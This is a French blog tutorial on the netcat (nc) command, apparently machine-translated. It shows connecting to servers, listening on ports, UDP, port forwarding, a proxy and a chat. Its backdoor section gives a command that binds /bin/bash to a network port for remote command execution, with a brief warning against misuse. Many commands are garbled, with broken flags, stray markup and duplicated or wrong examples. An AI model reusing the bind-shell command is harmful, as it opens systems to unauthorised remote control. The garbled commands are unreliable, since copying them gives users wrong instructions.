Articles

Commande NC (NCAT) pour les débutants

Posted by admin

la commande NC est destinée à effectuer des tâches de maintenance/diagnostic liées au réseau . Il peut effectuer des opérations telles que la lecture, l’écriture ou les redirections de données sur le réseau, de la même manière que vous pouvez utiliser la commande cat pour manipuler des fichiers sur le système Linux. La commande Nc peut être utilisée comme utilitaire pour analyser les ports, surveiller ou peut également agir comme proxy TCP de base.

les organisations peuvent l’utiliser pour examiner la sécurité de leur réseau, serveurs web, serveurs telnet, Serveurs de messagerie, etc., en vérifiant les ports ouverts, puis en les sécurisant., NC commande peut également être utilisée pour capturer des informations envoyées par le système.

lecture recommandée : Top 7 commandes pour la surveillance du trafic réseau Linux

lire aussi : commandes PostgreSQL importantes que vous devriez savoir

maintenant, discutons comment nous pouvons utiliser la commande NC avec quelques exemples,

exemples pour la commande NC

Se connecter à un serveur distant

pour le serveur distant avec la commande NC,

$ NC 10.10.10.100 80

ici, 10.10.10.,100 est L’adresse IP du serveur auquel nous voulons nous connecter & 80 est le numéro de port du serveur distant. Une fois connecté, nous pouvons effectuer d’autres fonctions comme obtenir le contenu total de la page avec

GET/HTTP/1.1

ou récupérer le nom de la page,

GET/HTTP/1.1

ou obtenir une bannière pour les empreintes digitales du système D’exploitation avec ce qui suit,

HEAD/HTTP/1.1

version est utilisé pour exécuter le serveur web.,

Écoutez les demandes de connexion entrantes

pour vérifier un serveur pour une demande de connexion entrante sur un numéro de port, utilisez l’exemple suivant

$ nc-L 8080

maintenant, NC est en mode écoute pour vérifier le port 8080 pour les demandes de connexion entrantes. Maintenant, le mode d’écoute continuera à fonctionner, jusqu’à ce qu’il soit terminé manuellement. Mais nous pouvons aborder cette option ‘ w ‘ pour NC,

$ nc-w 10 8080

ici, 10 signifie que NC écoutera les connexions pendant 10 secondes seulement.,

connexion aux ports UDP

par défaut, nous pouvons nous connecter aux ports TCP avec NC mais pour écouter la demande entrante faite aux ports UDP, nous devons utiliser l’option ‘u’,

$ nc-l-u 55

en utilisant NC pour la redirection de Port

avec l’option ‘c’ Exemple complet est,

$ nc-u -l-8080 -c ‘nc-u -l 8090’

ici, nous avons transmis toutes les demandes entrantes de port 8080 vers le port 8090.

utiliser NC comme serveur Proxy

Pour utiliser la commande NC comme proxy, utilisez <| p>

$ nc – L 8080 / nc 10.10.10.,200 80

ici, toutes les connexions entrantes vers le port 8080 seront déviées vers le serveur 10.10.10.200 sur le port 80.

Maintenant, avec la commande ci-dessus, nous avons créé un passage. Pour créer un couloir ou 2 canal de communication, utiliser les commandes suivantes,

$ mkfifo 2way

$ nc – l-8080 0<2way | nc 10.10.10.200 80 1>2

Maintenant, vous aurez ont la capacité d’envoyer et obtenir des informations sur nc proxy.,

utilisation de NC comme outil de chat

Un autre utilitaire que la commande NC peut servir est un outil de chat. Oui, nous pouvons également l’utiliser comme chat. Pour le créer, exécutez d’abord la commande suivante sur un serveur,

Than nc – L 8080

que de se connecter sur une machine distante, exécutez

$ nc 10.10.10.100 8080

maintenant, nous pouvons commencer la conversation en utilisant le terminal/CLI.

utiliser NC pour créer une porte dérobée système

maintenant, celui-ci est L’application la plus courante de NC& est principalement utilisé par les pirates beaucoup., Fondamentalement, cela crée une porte dérobée au système qui peut être exploitée par des pirates (vous ne devriez pas le faire, c’est faux).
Il faut en être conscient pour se prémunir contre ce genre d’exploits.

la commande suivante peut être utilisée pour créer une porte dérobée,

$ nc-l 5500-e /bin/bash

ici, nous avons attaché le port 5500 à /bin/bash, qui peut maintenant être connecté à partir d’une machine distante pour exécuter les commandes,

$ nc 10.10.10.100 5500

essera d’écouter la connexion une fois qu’une connexion client a été terminée., Mais avec l’option ‘k’, nous pouvons forcer un serveur à rester en cours d’exécution, même lorsqu’aucun client n’est connecté.

$ nc-L-k 8080

Nous terminons maintenant ce tutoriel sur la façon d’utiliser la commande NC, n’hésitez pas à envoyer toutes les questions ou requêtes que vous avez concernant cet article.,

si vous pensez que nous vous avons aidé ou que vous souhaitez simplement nous soutenir, veuillez considérer ces éléments:-

connectez-vous à nous: Facebook | Twitter/Google Plus

Donnez-nous une partie de votre argent durement gagné:

Linux TechLab est reconnaissant pour votre soutien continu.

Leave A Comment